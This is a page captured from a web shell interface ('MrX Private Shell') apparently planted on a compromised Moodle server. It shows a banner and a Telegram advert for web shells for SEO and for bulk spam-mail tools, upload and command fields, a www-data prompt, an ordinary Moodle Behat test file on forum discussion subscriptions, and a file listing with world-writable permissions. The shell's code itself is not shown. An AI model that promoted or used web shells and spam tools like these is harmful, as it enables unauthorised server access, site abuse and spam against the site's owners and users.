__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_forum
Feature: A user can control their own subscription preferences for a discussion
  In order to receive notifications for things I am interested in
  As a user
  I need to choose my discussion subscriptions

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | student1 | Student   | One      | student.one@example.com |
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1 | 0 |
    And the following "course enrolments" exist:
      | user | course | role |
      | student1 | C1 | student |

  @javascript
  Scenario: An optional forum can have discussions subscribed to
    Given the following "activity" exists:
      | activity       | forum                  |
      | course         | C1                     |
      | idnumber       | forum1                 |
      | name           | Test forum name        |
      | type           | general                |
      | forcesubscribe | 0                      |
    And the following "mod_forum > discussions" exist:
      | user  | forum  | name                  | message               |
      | admin | forum1 | Test post subject one | Test post message one |
      | admin | forum1 | Test post subject two | Test post message two |
    When I am on the "Test forum name" "forum activity" page logged in as student1
    Then I can subscribe to this forum
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I click on "input[id^=subscription-toggle]" "css_element" in the "Test post subject one" "table_row"
    And I can subscribe to this forum
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I click on "input[id^=subscription-toggle]" "css_element" in the "Test post subject one" "table_row"
    And I can subscribe to this forum
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I click on "input[id^=subscription-toggle]" "css_element" in the "Test post subject one" "table_row"
    And I can subscribe to this forum
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I follow "Subscribe to forum"
    And I should see "You will be notified of new posts in the forum 'Test forum name'"
    And I can unsubscribe from this forum
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I unsubscribe from this forum
    And I should see "Student One will NOT be notified of new posts in 'Test forum name'"
    And I can subscribe to this forum
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject two" "table_row"

  @javascript
  Scenario: An automatic subscription forum can have discussions unsubscribed from
    Given the following "activity" exists:
      | activity       | forum                  |
      | course         | C1                     |
      | idnumber       | forum1                 |
      | name           | Test forum name        |
      | type           | general                |
      | forcesubscribe | 2                      |
    And the following "mod_forum > discussions" exist:
      | user  | forum  | name                  | message               |
      | admin | forum1 | Test post subject one | Test post message one |
      | admin | forum1 | Test post subject two | Test post message two |
    When I am on the "Test forum name" "forum activity" page logged in as student1
    Then I can unsubscribe from this forum
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I click on "input[id^=subscription-toggle]" "css_element" in the "Test post subject one" "table_row"
    And I can unsubscribe from this forum
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I click on "input[id^=subscription-toggle]" "css_element" in the "Test post subject one" "table_row"
    And I can unsubscribe from this forum
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I click on "input[id^=subscription-toggle]" "css_element" in the "Test post subject one" "table_row"
    And I can unsubscribe from this forum
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I unsubscribe from this forum
    And I should see "Student One will NOT be notified of new posts in 'Test forum name'"
    And I can subscribe to this forum
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I subscribe to this forum
    And I should see "You will be notified of new posts in the forum 'Test forum name'"
    And I can unsubscribe from this forum
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject two" "table_row"

  @javascript
  Scenario: A user does not lose their preferences when a forum is switch from optional to automatic
    Given the following "activity" exists:
      | activity       | forum                  |
      | course         | C1                     |
      | idnumber       | forum1                 |
      | name           | Test forum name        |
      | type           | general                |
      | forcesubscribe | 0                      |
    And the following "mod_forum > discussions" exist:
      | user  | forum  | name                  | message               |
      | admin | forum1 | Test post subject one | Test post message one |
      | admin | forum1 | Test post subject two | Test post message two |
    And I am on the "Test forum name" "forum activity" page logged in as student1
    And I can subscribe to this forum
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I click on "input[id^=subscription-toggle]" "css_element" in the "Test post subject one" "table_row"
    And I can subscribe to this forum
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I am on the "Test forum name" "forum activity editing" page logged in as admin
    And I set the following fields to these values:
      | Subscription mode | Auto subscription |
    And I press "Save and return to course"
    And I am on the "Test forum name" "forum activity" page logged in as student1
    And I can unsubscribe from this forum
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    When I unsubscribe from this forum
    Then I should see "Student One will NOT be notified of new posts in 'Test forum name'"
    And I can subscribe to this forum
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject two" "table_row"

  Scenario: An optional forum prompts a user to subscribe to a discussion when posting unless they have already chosen not to subscribe
    Given the following "activity" exists:
      | activity       | forum                  |
      | course         | C1                     |
      | idnumber       | forum1                 |
      | name           | Test forum name        |
      | type           | general                |
      | forcesubscribe | 0                      |
    And the following "mod_forum > discussions" exist:
      | user  | forum  | name                  | message               |
      | admin | forum1 | Test post subject one | Test post message one |
      | admin | forum1 | Test post subject two | Test post message two |
    When I am on the "Test forum name" "forum activity" page logged in as student1
    And I should see "Subscribe to forum"
    And I reply "Test post subject one" post from "Test forum name" forum with:
      | Subject | Reply 1 to discussion 1 |
      | Message | Discussion contents 1, second message |
      | Discussion subscription | 1 |
    And I reply "Test post subject two" post from "Test forum name" forum with:
      | Subject | Reply 1 to discussion 1 |
      | Message | Discussion contents 1, second message |
      | Discussion subscription | 0 |
    And I am on the "Test forum name" "forum activity" page
    Then "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I follow "Test post subject one"
    And I follow "Reply"
    And the field "Discussion subscription" matches value "Send me notifications of new posts in this discussion"
    And I follow "Test forum name"
    And I follow "Test post subject two"
    And I follow "Reply"
    And the field "Discussion subscription" matches value "I don't want to be notified of new posts in this discussion"

  Scenario: An automatic forum prompts a user to subscribe to a discussion when posting unless they have already chosen not to subscribe
    Given the following "activity" exists:
      | activity       | forum                  |
      | course         | C1                     |
      | idnumber       | forum1                 |
      | name           | Test forum name        |
      | type           | general                |
      | forcesubscribe | 2                      |
    And the following "mod_forum > discussions" exist:
      | user  | forum  | name                  | message               |
      | admin | forum1 | Test post subject one | Test post message one |
      | admin | forum1 | Test post subject two | Test post message two |
    # added for this scenario
    And the following "users" exist:
      | username | firstname | lastname | email                   |
      | student2 | Student   | Two      | student.two@example.com |
    And the following "course enrolments" exist:
      | user     | course | role    |
      | student2 | C1     | student |
    When I am on the "Test forum name" "forum activity" page logged in as student2
    And I should see "Unsubscribe from forum"
    And I reply "Test post subject one" post from "Test forum name" forum with:
      | Subject                 | Reply 1 to discussion 1               |
      | Message                 | Discussion contents 1, second message |
      | Discussion subscription | 1                                     |
    And I reply "Test post subject two" post from "Test forum name" forum with:
      | Subject                 | Reply 1 to discussion 1               |
      | Message                 | Discussion contents 1, second message |
      | Discussion subscription | 0                                     |
    And I am on the "Test forum name" "forum activity" page
    Then "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And "Subscribe to this discussion" "checkbox" should exist in the "Test post subject two" "table_row"
    And I follow "Test post subject one"
    And I follow "Reply"
    And the field "Discussion subscription" matches value "Send me notifications of new posts in this discussion"
    And I am on the "Test forum name" "forum activity" page
    And I follow "Test post subject two"
    And I follow "Reply"
    And the field "Discussion subscription" matches value "I don't want to be notified of new posts in this discussion"

  Scenario: A guest should not be able to subscribe to a discussion
    Given the following "activities" exist:
      | activity    | name            | course               | section | idnumber  | type    |
      | forum       | Test forum name | Acceptance test site | 1       | forum1    | general |
    And the following "mod_forum > discussions" exist:
      | user  | forum  | name                  | message               |
      | admin | forum1 | Test post subject one | Test post message one |
    When I am on the "Test forum name" "forum activity" page logged in as guest
    Then "Subscribe to this discussion" "checkbox" should not exist in the "Test post subject one" "table_row"
    And "Unsubscribe from this discussion" "checkbox" should not exist in the "Test post subject one" "table_row"
    And I follow "Test post subject one"
    And "Subscribe to this discussion" "checkbox" should not exist
    And "Unsubscribe from this discussion" "checkbox" should not exist

  Scenario: A user who is not logged in should not be able to subscribe to a discussion
    Given the following "activities" exist:
      | activity    | name            | course               | section | idnumber  | type    |
      | forum       | Test forum name | Acceptance test site | 1       | forum1    | general |
    And the following "mod_forum > discussions" exist:
      | user  | forum  | name                  | message               |
      | admin | forum1 | Test post subject one | Test post message one |
    When I am on site homepage
    And I follow "Test forum name"
    Then "Subscribe to this discussion" "checkbox" should not exist in the "Test post subject one" "table_row"
    And "Unsubscribe from this discussion" "checkbox" should not exist in the "Test post subject one" "table_row"
    And I follow "Test post subject one"
    And "Subscribe to this discussion" "checkbox" should not exist
    And "Unsubscribe from this discussion" "checkbox" should not exist

  Scenario: A user can toggle their subscription preferences when viewing a discussion
    Given the following "activity" exists:
      | activity       | forum                  |
      | course         | C1                     |
      | idnumber       | forum1                 |
      | name           | Test forum name        |
      | type           | general                |
      | forcesubscribe | 0                      |
    And the following "mod_forum > discussions" exist:
      | user  | forum  | name                  | message               |
      | admin | forum1 | Test post subject one | Test post message one |
    When I am on the "Test forum name" "forum activity" page logged in as student1
    Then "Subscribe to forum" "link" should exist
    And I follow "Test post subject one"
    And "You are not subscribed to this discussion. Click to subscribe" "link" should exist
    And I follow "Test forum name"
    And I follow "Subscribe to forum"
    And I should see "You will be notified of new posts in the forum 'Test forum name'"
    And "Unsubscribe from forum" "link" should exist
    And I follow "Test post subject one"
    And "You are subscribed to this discussion. Click to unsubscribe" "link" should exist
    And I follow "You are subscribed to this discussion. Click to unsubscribe"
    And I should see "Student One will NOT be notified of new posts in 'Test post subject one' of 'Test forum name'"
    And I follow "Test post subject one"
    And "You are not subscribed to this discussion. Click to subscribe" "link" should exist
    And I follow "Test forum name"
    And I follow "Unsubscribe from forum"
    And I should see "Student One will NOT be notified of new posts in 'Test forum name'"
    And "Subscribe to forum" "link" should exist
    And I follow "Test post subject one"
    And "You are not subscribed to this discussion. Click to subscribe" "link" should exist
    And I follow "You are not subscribed to this discussion. Click to subscribe"
    And I should see "You will be notified of new posts in 'Test post subject one' in the forum 'Test forum name'."
    And "Unsubscribe from this discussion" "checkbox" should exist in the "Test post subject one" "table_row"
    And I follow "Subscribe to forum"
    And I should see "You will be notified of new posts in the forum 'Test forum name'"
    And "Unsubscribe from forum" "link" should exist
    And I follow "Test post subject one"
    And "You are subscribed to this discussion. Click to unsubscribe" "link" should exist
    And I follow "Test forum name"
    And I follow "Unsubscribe from forum"
    And I should see "Student One will NOT be notified of new posts in 'Test forum name'"
    And "Subscribe to forum" "link" should exist
    And I follow "Test post subject one"
    And "You are not subscribed to this discussion. Click to subscribe" "link" should exist

Filemanager

Name Type Size Permission Actions
add_forum.feature File 2.57 KB 0777
add_forum_inline.feature File 1.48 KB 0777
advanced_search.feature File 5.92 KB 0777
behat_mod_forum.php File 20.43 KB 0777
discussion_display.feature File 5.29 KB 0777
discussion_lock.feature File 3.77 KB 0777
discussion_navigation.feature File 6.05 KB 0777
discussion_post_threshold_warning.feature File 5.5 KB 0777
discussion_subscriptions.feature File 17.77 KB 0777
edit_post_student.feature File 2.8 KB 0777
edit_post_teacher.feature File 2.81 KB 0777
edit_tags.feature File 3.04 KB 0777
favourite_discussion.feature File 2.09 KB 0777
forum_activity_breadcrumbs.feature File 2.69 KB 0777
forum_activity_completion.feature File 5.88 KB 0777
forum_activity_completion_pass_grade.feature File 8.87 KB 0777
forum_display_word_count.feature File 3.2 KB 0777
forum_export.feature File 9.66 KB 0777
forum_one_discussion_type.feature File 2.63 KB 0777
forum_subscribers_navigation.feature File 2.92 KB 0777
forum_subscription_landing_page.feature File 1.26 KB 0777
forum_subscriptions.feature File 3.54 KB 0777
forum_subscriptions_availability.feature File 4.71 KB 0777
forum_subscriptions_default.feature File 5.56 KB 0777
forum_subscriptions_management.feature File 2.66 KB 0777
forum_subscriptions_mode_behaviour.feature File 1.77 KB 0777
grade_forum.feature File 8.73 KB 0777
grade_view_discussion.feature File 2.73 KB 0777
groups_in_course_no_groups_in_forum.feature File 2.3 KB 0777
guest_users.feature File 6.51 KB 0777
h5p_inline_editing_content.feature File 6.27 KB 0777
inpage_reply.feature File 2.08 KB 0777
move_discussion.feature File 1.45 KB 0777
my_forum_posts.feature File 1.69 KB 0777
no_groups_in_course.feature File 3.47 KB 0777
portfolio_export.feature File 1.8 KB 0777
post_to_multiple_groups.feature File 5.17 KB 0777
posts_ordering_blog.feature File 3.3 KB 0777
posts_ordering_general.feature File 3.44 KB 0777
private_replies.feature File 2.72 KB 0777
recent_activity.feature File 6.86 KB 0777
separate_group_discussions.feature File 14.04 KB 0777
separate_group_grade_forum.feature File 4.13 KB 0777
separate_group_single_group_discussions.feature File 3.31 KB 0777
single_forum_discussion.feature File 1.74 KB 0777
split_forum_discussion.feature File 2.48 KB 0777
timed_discussions.feature File 1.98 KB 0777
track_read_posts.feature File 8.11 KB 0777
visible_group_discussions.feature File 14.08 KB 0777
Filemanager